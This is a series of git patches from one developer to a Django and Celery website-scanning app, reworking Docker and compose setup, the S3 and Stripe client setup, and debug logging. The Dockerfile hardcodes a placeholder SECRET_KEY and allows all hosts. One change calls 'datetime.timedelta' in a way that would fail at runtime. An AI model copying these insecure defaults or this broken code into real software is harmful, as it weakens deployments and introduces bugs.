       python3 manage.py wait_for_db && 
       python3 manage.py makemigrations --no-input &&

From c86376c14b6cc206602362fadc9027e6e90bdbbb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 12:15:39 -0600
Subject: [PATCH 708/752] testing

---
 Dockerfile                  | 6 +++---
 setup/scripts/entrypoint.sh | 3 ++-
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index e695380a..280b4438 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -85,9 +85,9 @@ WORKDIR /app
 RUN mkdir -p .mozilla .cache
 
 # setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /app/api/migrations*
-RUN chmod -R 755 /app/api/migrations*
+RUN chown -R app:app /app/*
+RUN chown -R app:app /app/api/migrations/*
+RUN chmod -R 755 /app/api/migrations/*
 
 # cleaning up
 RUN apt-get clean && rm -rf \
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 74f5fdd8..29991f52 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,6 +5,7 @@ if [[ $1 == *"app"* ]]
 then 
   if [[ $2 == *"local"* ]]
   then
+    ls && ls -la /app/api/migrations/ &&
     python3 manage.py wait_for_db && 
     python3 manage.py makemigrations --no-input &&
     python3 manage.py migrate --no-input &&
@@ -15,7 +16,7 @@ then
   fi
   if [[ $2 == *"remote"* ]]
     then
-      ls -la /app/api/migrations/ &&
+      ls && ls -la /app/api/migrations/ &&
       python3 manage.py wait_for_db && 
       python3 manage.py makemigrations --no-input &&
       python3 manage.py migrate --no-input &&

From 236b36118fa267799b288a81b24ea266c7e11622 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 12:40:07 -0600
Subject: [PATCH 709/752] testing new scripts

---
 Dockerfile                  | 16 ++++++++---
 setup/scripts/entrypoint.sh | 54 +++++++++++++++++--------------------
 2 files changed, 37 insertions(+), 33 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 280b4438..f20dbac0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -85,9 +85,19 @@ WORKDIR /app
 RUN mkdir -p .mozilla .cache
 
 # setting ownership
-RUN chown -R app:app /app/*
-RUN chown -R app:app /app/api/migrations/*
-RUN chmod -R 755 /app/api/migrations/*
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/local/bin/lighthouse
+RUN chown -R app:app /usr/local/bin/yellowlabtools
+
+# django specific temp ENVs 
+ENV DJANGO_ALLOWED_HOSTS="*"
+ENV SECRET_KEY="abcdefghijklmno123456789"
+
+# make migrations file
+RUN python3.12 manage.py makemigrations --no-input
+
+# collect static assets
+RUN python3.12 manage.py collectstatic --no-input
 
 # cleaning up
 RUN apt-get clean && rm -rf \
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 29991f52..f0c67237 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -2,44 +2,38 @@
 
 # spin up app in local or remote env
 if [[ $1 == *"app"* ]]
-then 
-  if [[ $2 == *"local"* ]]
-  then
-    ls && ls -la /app/api/migrations/ &&
-    python3 manage.py wait_for_db && 
-    python3 manage.py makemigrations --no-input &&
-    python3 manage.py migrate --no-input &&
-    python3 manage.py collectstatic --no-input &&
-    python3 manage.py create_admin &&
-    python3 manage.py driver_test &&
-    python3 manage.py runserver 0.0.0.0:8000
-  fi
-  if [[ $2 == *"remote"* ]]
-    then
-      ls && ls -la /app/api/migrations/ &&
-      python3 manage.py wait_for_db && 
-      python3 manage.py makemigrations --no-input &&
-      python3 manage.py migrate --no-input &&
-      python3 manage.py collectstatic --no-input &&
-      python3 manage.py create_admin &&
-      python3 manage.py driver_test &&
-      gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+  then 
+    if [[ $2 == *"local"* ]]
+      then
+        python3 manage.py wait_for_db && 
+        python3 manage.py migrate --no-input &&
+        python3 manage.py create_admin &&
+        python3 manage.py driver_test &&
+        python3 manage.py runserver 0.0.0.0:8000
+    fi
+    if [[ $2 == *"remote"* ]]
+      then
+        python3 manage.py wait_for_db && 
+        python3 manage.py migrate --no-input &&
+        python3 manage.py create_admin &&
+        python3 manage.py driver_test &&
+        gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
     fi
 fi
 
 # spin up celery
 if [[ $1 == *"celery"* ]]
-then
-  python3 manage.py wait_for_db && 
-  echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker -E --loglevel=info -O fair
+  then
+    python3 manage.py wait_for_db && 
+    echo "pausing for migrations to complete..." && sleep 7s &&
+    celery -A scanerr worker -E --loglevel=info -O fair
 fi
 
 # spin up celery beat
 if [[ $1 == *"beat"* ]]
-then
-  python3 manage.py wait_for_db &&
-  echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr beat --scheduler django --loglevel=info
+  then
+    python3 manage.py wait_for_db &&
+    echo "pausing for migrations to complete..." && sleep 7s &&
+    celery -A scanerr beat --scheduler django --loglevel=info
 fi
 

From e38b1a21f931930aebc92b0b64531e2bbfa65bf6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 12:40:44 -0600
Subject: [PATCH 710/752] fixing issues with Instantiation

---
 app/api/tasks.py               | 28 +++++++++++++++-------------
 app/api/utils/exporter.py      | 18 ++++++++----------
 app/api/v1/billing/services.py | 31 +++++++++++++++++++++++++++----
 3 files changed, 50 insertions(+), 27 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index ff3e96a8..4197335d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -44,12 +44,14 @@ class BaseTaskWithRetry(Task):
 
 
 # setting s3 instance
-s3 = boto3.resource('s3', 
-    aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-    region_name=str(settings.AWS_S3_REGION_NAME), 
-    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-)
+def s3():
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+    return s3
 
 
 
@@ -991,7 +993,7 @@ def delete_site_s3_bg(site_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
     except:
         pass
@@ -1018,7 +1020,7 @@ def delete_page_s3_bg(page_id: str, site_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
     except:
         pass
@@ -1046,7 +1048,7 @@ def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
     except:
         pass
@@ -1074,7 +1076,7 @@ def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
     except:
         pass
@@ -1100,7 +1102,7 @@ def delete_testcase_s3_bg(testcase_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
     except:
         pass
@@ -1129,7 +1131,7 @@ def delete_report_s3_bg(report_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
     except:
         pass
@@ -1155,7 +1157,7 @@ def delete_case_s3_bg(case_id: str) -> None:
 
     # deleting s3 objects
     try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/cases/{case_id}/')).delete()
     except:
         pass
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index af4dfe60..7eb469e0 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -8,16 +8,6 @@
 
 
 
-
-# setting up s3 client
-s3 = boto3.client(
-    's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-    region_name=str(settings.AWS_S3_REGION_NAME), 
-    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-)
-
-
 def create_and_send_report_export(report_id: id, email: str, first_name: str) -> dict:
     """
     Takes a screenshot of the `landing.report`, 
@@ -35,6 +25,14 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     }
     """
 
+    # setting up s3 client
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
     # init driver
     driver = driver_init(scale_factor=1)
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 50ee8e64..2123be8c 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -16,10 +16,6 @@
 
 
 
-# init Stripe client
-stripe.api_key = settings.STRIPE_PRIVATE
-
-
 
 
 def stripe_setup(request: object) -> object: 
@@ -48,6 +44,9 @@ def stripe_setup(request: object) -> object:
         'client_secret' : Stripe subscription client_secret,
     }
     """ 
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
     
     # get request data
     name = request.data.get('name')
@@ -191,6 +190,9 @@ def stripe_complete(request: object) -> object:
     
     Returns -> `Account` HTTP Response object
     """
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
     
     # get request data
     account = Account.objects.get(user=request.user)
@@ -277,6 +279,9 @@ def calc_price(account: object=None) -> int:
     
     Returns: 'price_amount' <int>
     """
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
     
     # get max_sites
     max_sites = account.max_sites
@@ -329,6 +334,9 @@ def get_stripe_hosted_url(request: object=None) -> object:
     }
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get account
     user = request.user
     account = Account.objects.get(user=user)
@@ -399,6 +407,9 @@ def update_account_with_stripe_redirect(request: object=None) -> object:
     Returns -> HTTP Response object
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get account
     account = Account.objects.get(user=request.user)
     cust_id = account.cust_id
@@ -495,6 +506,9 @@ def get_billing_info(request: object) -> object:
     Returns -> HTTP Response object
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get user and account
     user = request.user
     account = Account.objects.get(user=user)
@@ -546,6 +560,9 @@ def account_activation(request: object) -> object:
     Returns -> `Account` HTTP Response object
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get user's Account
     account = Account.objects.get(user=request.user)
     
@@ -596,6 +613,9 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
     Returns -> `Account` HTTP Response object or Bool `true`
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get user's account
     if request is not None:
         account = Account.objects.get(user=request.user)
@@ -679,6 +699,9 @@ def get_stripe_invoices(request: object) -> object:
     }
     """
 
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
     # get user's account
     account = Account.objects.get(user=request.user)
 

From fe09882039e3bbf9b90216418403934c53f103ec Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 13:48:17 -0600
Subject: [PATCH 711/752] testing new configurations

---
 Dockerfile                  |  6 ++----
 docker-compose.dev.yml      | 13 ++++++++-----
 docker-compose.local.yml    |  9 ++++++---
 setup/scripts/entrypoint.sh |  1 +
 4 files changed, 17 insertions(+), 12 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index f20dbac0..11a7fb31 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -16,6 +16,8 @@ ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
 ENV PYTHONPATH="$HOME:$PYTHONPATH"
 ENV NODE_OPTIONS="--max-old-space-size=4080"
+ENV DJANGO_ALLOWED_HOSTS="*"
+ENV SECRET_KEY="abcdefghijklmno123456789"
 
 # create the app user
 RUN addgroup --system app && adduser --system app
@@ -89,10 +91,6 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/local/bin/lighthouse
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 
-# django specific temp ENVs 
-ENV DJANGO_ALLOWED_HOSTS="*"
-ENV SECRET_KEY="abcdefghijklmno123456789"
-
 # make migrations file
 RUN python3.12 manage.py makemigrations --no-input
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index eeabc2e8..33d2713e 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -17,8 +17,8 @@ services:
     env_file:
       - ./env/.env.dev
     volumes:
-      - ./app:/app:rw
-      - static_volume:/app/static:rw
+      - app:/app
+      - static_volume:/app/static
     depends_on:
       - db
 
@@ -56,7 +56,7 @@ services:
     env_file:
       - ./env/.env.dev
     volumes:
-      - ./app:/scanerr:rw
+      - celery:/app
     depends_on:
       - redis
       - app
@@ -74,9 +74,9 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
-      - ./app:/scanerr:rw
+      - ./app:/scanerr-celery
     env_file:
-      - ./env/.env.dev
+      - beat:/app
     depends_on:
       - redis
       - celery
@@ -135,6 +135,9 @@ services:
 
 
 volumes:
+  app:
+  celery:
+  beat:
   static_volume:
   letsencrypt-acme:
   pgdata:
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 1b7a3d83..6fbb1393 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -17,7 +17,7 @@ services:
     env_file:
       - ./env/.env.local
     volumes:
-      - ./app:/app
+      - app:/app
     depends_on:
       - db
 
@@ -51,7 +51,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "celery"]
     volumes:
-      - ./app:/scanerr
+      - celery:/app
     env_file:
       - ./env/.env.local
     depends_on:
@@ -71,7 +71,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
-      - ./app:/scanerr
+      - beat:/app
     env_file:
       - ./env/.env.local
     depends_on:
@@ -98,3 +98,6 @@ services:
 
 volumes:
   pgdata:
+  app:
+  celery:
+  beat:
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index f0c67237..cb917551 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,6 +5,7 @@ if [[ $1 == *"app"* ]]
   then 
     if [[ $2 == *"local"* ]]
       then
+        # sleep 500s
         python3 manage.py wait_for_db && 
         python3 manage.py migrate --no-input &&
         python3 manage.py create_admin &&

From b35efecaf950f428546aa7b75b57e35bf15b11a6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 13:55:32 -0600
Subject: [PATCH 712/752] fixed env issue

---
 Dockerfile                  | 2 +-
 docker-compose.dev.yml      | 4 ++--
 setup/scripts/entrypoint.sh | 1 -
 3 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 11a7fb31..636db26c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -83,7 +83,7 @@ RUN python3.12 -m pip install -r /requirements.txt
 COPY ./app /app
 WORKDIR /app
 
-# setting extra dirs
+# setting browser cache dirs 
 RUN mkdir -p .mozilla .cache
 
 # setting ownership
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 33d2713e..1bb2c60c 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -74,9 +74,9 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
-      - ./app:/scanerr-celery
-    env_file:
       - beat:/app
+    env_file:
+      - ./env/.env.dev
     depends_on:
       - redis
       - celery
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index cb917551..f0c67237 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,7 +5,6 @@ if [[ $1 == *"app"* ]]
   then 
     if [[ $2 == *"local"* ]]
       then
-        # sleep 500s
         python3 manage.py wait_for_db && 
         python3 manage.py migrate --no-input &&
         python3 manage.py create_admin &&

From 32e3e476666f3029818fc0d98f3a455f1abbb037 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 14:35:15 -0600
Subject: [PATCH 713/752] fixed staging scripts

---
 commands.txt                | 2 +-
 docker-compose.stage.yml    | 2 +-
 setup/scripts/entrypoint.sh | 6 ++++++
 3 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/commands.txt b/commands.txt
index d40af608..7c63c2b5 100644
--- a/commands.txt
+++ b/commands.txt
@@ -23,7 +23,7 @@ docker compose -f docker-compose.dev.yml down
 
 
 ### spins up the container for staging migrations ###
-docker compose -f docker-compose.stage.yml up -d --build
+docker compose -f docker-compose.stage.yml up --build
 
 ### spins down the container ###
 docker compose -f docker-compose.stage.yml down
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 64030f74..0c92d71e 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -13,7 +13,7 @@ services:
       dockerfile: Dockerfile
     ports:
       - "8000:8000"
-    entrypoint: ["/entrypoint.sh", "app", "local"]
+    entrypoint: ["/entrypoint.sh", "app", "stage"]
     env_file:
       - ./env/.env.stage
     volumes:
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index f0c67237..0cc19ab7 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -19,6 +19,12 @@ if [[ $1 == *"app"* ]]
         python3 manage.py driver_test &&
         gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
     fi
+    if [[ $2 == *"stage"* ]]
+    then
+      python3 manage.py wait_for_db && 
+      python3 manage.py makemigrations --no-input &&
+      python3 manage.py migrate --no-input
+    fi
 fi
 
 # spin up celery

From 0d8ecbbf5d4cb5827c52797543693da366d25c02 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 16:28:56 -0600
Subject: [PATCH 714/752] testing new fixes

---
 .github/workflows/dev-deploy.yaml |  1 +
 app/api/tasks.py                  |  2 +-
 app/api/v1/ops/services.py        | 12 ++++++++----
 commands.txt                      |  3 +++
 docker-compose.prod.yml           |  9 ++++++---
 setup/scripts/local.sh            |  9 +++++++++
 6 files changed, 28 insertions(+), 8 deletions(-)
 create mode 100644 setup/scripts/local.sh

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index db126a09..704b58cf 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -30,4 +30,5 @@ jobs:
           cd ~/app
           git pull origin dev
           docker compose -f docker-compose.dev.yml down
+          docker volume rm app_app app_beat app_celery
           docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 4197335d..f24a7ed7 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1517,7 +1517,7 @@ def reset_usage(account):
                     reset_usage(account)
 
             # udpate account.meta.last_usage_reset
-            account.meta['last_usage_reset'] = today.strftime(f)
+            account.meta = {'last_usage_reset': today.strftime(f)}
             account.save()
     
     return None
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index b58b132f..8245a856 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1,4 +1,4 @@
-from datetime import datetime
+from datetime import datetime, timedelta
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
 from django.db.models import Q
@@ -5758,9 +5758,13 @@ def get_site_metrics(request: object) -> object:
     # get last reset day 
     f = '%Y-%m-%d %H:%M:%S.%f'
     last_usage_date_str = account.meta.get('last_usage_reset')
-    last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
-    last_usage_date = datetime.strptime(last_usage_date_str, f)
-    
+    last_usage_date = None
+    if last_usage_date_str:  
+        last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
+        last_usage_date = datetime.strptime(last_usage_date_str, f)
+    else:
+        last_usage_date = datetime.now() - datetime.timedelta(30)
+
     # get scans
     scans = Scan.objects.filter(
         site=site,
diff --git a/commands.txt b/commands.txt
index 7c63c2b5..ee2080db 100644
--- a/commands.txt
+++ b/commands.txt
@@ -1,3 +1,6 @@
+### easy local script ###
+source ./setup/scripts/local.sh
+
 ### spins up container on localhost ###
 docker compose -f docker-compose.local.yml up --build
 
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 90731a1c..0b9355d0 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -17,7 +17,7 @@ services:
     env_file:
       - ./env/.env.prod
     volumes:
-      - ./app:/app
+      - app:/app
       - static_volume:/app/static
     depends_on:
       - db
@@ -55,7 +55,7 @@ services:
     env_file:
       - ./env/.env.prod
     volumes:
-      - ./app:/scanerr
+      - celery:/app
     depends_on:
       - redis
       - app
@@ -72,7 +72,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
-      - ./app:/scanerr
+      - beat:/app
     env_file:
       - ./env/.env.prod
     depends_on:
@@ -133,6 +133,9 @@ services:
 
 
 volumes:
+  app:
+  celery:
+  beat:
   static_volume:
   letsencrypt-acme:
   pgdata:
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
new file mode 100644
index 00000000..cd28df00
--- /dev/null
+++ b/setup/scripts/local.sh
@@ -0,0 +1,9 @@
+#!/bin/bash
+
+cd $HOME/documents/coding/scanerr/server &&
+{
+    docker volume rm server_app server_beat server_celery &&
+    docker compose -f docker-compose.local.yml up --build
+} || {
+    docker compose -f docker-compose.local.yml up --build
+}

From 73df52281b8a3982146e3f85690a2ad7e34a3c3e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 18:51:05 -0600
Subject: [PATCH 715/752] testing prod issue

---
 app/api/tasks.py        | 14 +++++++++++++-
 app/api/utils/alerts.py | 22 +++++++++++-----------
 2 files changed, 24 insertions(+), 12 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f24a7ed7..191509e6 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -376,7 +376,8 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                 try:
                     pages.append(
                         Page.objects.get(id=item['id'])
-                    ) 
+                    )
+                    print(f'pages added -> {pages}')
                 except Exception as e:
                     print(e)
             
@@ -386,6 +387,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                     sites.append(
                         Site.objects.get(id=item['id'])
                     ) 
+                    print(f'sites added -> {sites}')
                 except Exception as e:
                     print(e)
     
@@ -400,9 +402,12 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
     # creating scans for each page
     for page in pages:
+        print(f'trying to scan page -> {page.page_url}')
         # check resource 
         if check_and_increment_resource(page.account, 'scans'):
 
+            print(f'allowed to create new Scan')
+
             # updating latest_scan info for page
             page.info['latest_scan']['id'] = 'placeholder'
             page.info['latest_scan']['time_created'] = str(timezone.now())
@@ -411,12 +416,17 @@ def create_scan_bg(self, *args, **kwargs) -> None:
             page.info['latest_scan']['score'] = None
             page.save()
 
+            print('updated page info')
+
             # updating latest_scan info for site
             page.site.info['latest_scan']['id'] = 'placeholder'
             page.site.info['latest_scan']['time_created'] = str(timezone.now())
             page.site.info['latest_scan']['time_completed'] = None
             page.site.save()
 
+            print('updated site info')
+
+
             create_scan.delay(
                 page_id=page.id,
                 type=type,
@@ -424,6 +434,8 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                 tags=tags,
                 automation_id=automation_id
             )
+
+            print('init new bg scan')
     
     # update schedule if task_id is not None
     if task_id:
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 8ae34047..30a5d391 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -226,7 +226,7 @@ def create_exp(item: object=None, automation: object=None) -> dict:
                 float(item.yellowlab_delta["scores"]["current_average"])) /2
             )
         elif 'health' in e['data_type']:
-            title = 'Health:'
+            title = 'Health'
             data = str(
                 (float(item.lighthouse["scores"]["average"]) + 
                 float(item.yellowlab["scores"]["globalScore"])) /2
@@ -289,10 +289,10 @@ def create_exp(item: object=None, automation: object=None) -> dict:
             title = 'Images Delta'
             data = str(item.yellowlab_delta["scores"]["images_delta"])
         elif 'domComplexity_delta' in e['data_type']:
-            title = 'DOM Complex. Delta'
+            title = 'DOM Complexity Delta'
             data = str(item.yellowlab_delta["scores"]["domComplexity_delta"])
         elif 'javascriptComplexity_delta' in e['data_type']:
-            title = 'JS Complex. Delta'
+            title = 'JS Complexity Delta'
             data = str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])
         elif 'badJavascript_delta' in e['data_type']:
             title = 'Bad JS Delta'
@@ -301,7 +301,7 @@ def create_exp(item: object=None, automation: object=None) -> dict:
             title = 'jQuery Delta'
             data = str(item.yellowlab_delta["scores"]["jQuery_delta"])
         elif 'cssComplexity_delta' in e['data_type']:
-            title = 'CSS Complex. Delta'
+            title = 'CSS Complexity Delta'
             data = str(item.yellowlab_delta["scores"]["cssComplexity_delta"])
         elif 'badCSS_delta' in e['data_type']:
             title = 'Bad CSS Delta'
@@ -310,7 +310,7 @@ def create_exp(item: object=None, automation: object=None) -> dict:
             title = 'Fonts Delta'
             data = str(item.yellowlab_delta["scores"]["fonts_delta"])
         elif 'serverConfig_delta' in e['data_type']:
-            title = 'Server Config Delta'
+            title = 'Server Configs Delta'
             data = str(item.yellowlab_delta["scores"]["serverConfig_delta"])
 
         # yellowlab scan data
@@ -324,28 +324,28 @@ def create_exp(item: object=None, automation: object=None) -> dict:
             title = 'Images'
             data = str(item.yellowlab["scores"]["images"])
         elif 'domComplexity' in e['data_type']:
-            title = 'DOM Complex.'
+            title = 'DOM Complexity'
             data = str(item.yellowlab["scores"]["domComplexity"])
         elif 'javascriptComplexity' in e['data_type']:
-            title = 'JS Complex.'
+            title = 'JS Complexity'
             data = str(item.yellowlab["scores"]["javascriptComplexity"])  
         elif 'badJavascript' in e['data_type']:
-            title = 'Bad JS.'
+            title = 'Bad JS'
             data = str(item.yellowlab["scores"]["badJavascript"])
         elif 'jQuery' in e['data_type']:
             title = 'jQuery'
             data = str(item.yellowlab["scores"]["jQuery"])
         elif 'cssComplexity' in e['data_type']:
-            title = 'CSS Complex'
+            title = 'CSS Complexity'
             data = str(item.yellowlab["scores"]["cssComplexity"])
         elif 'badCSS' in e['data_type']:
-            title = 'Bad CSS.'
+            title = 'Bad CSS'
             data = str(item.yellowlab["scores"]["badCSS"])
         elif 'fonts' in e['data_type']:
             title = 'Fonts'
             data = str(item.yellowlab["scores"]["fonts"])
         elif 'serverConfig' in e['data_type']:
-            title = 'Server Config.'
+            title = 'Server Configs'
             data = str(item.yellowlab["scores"]["serverConfig"])
         
         # image data

From 485a21e7db9611d9fa2aef6b46f8b1c93bbd4a9b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 19:01:59 -0600
Subject: [PATCH 716/752] debugging prod issue

---
 app/api/tasks.py | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 191509e6..6f37cdd6 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -301,6 +301,8 @@ def create_scan(
     Returns -> None
     """
 
+    print(f'page_id for scanning -> {page_id}')
+
     # get scan if scan_id present
     if scan_id is not None:
         created_scan = Scan.objects.get(id=scan_id)
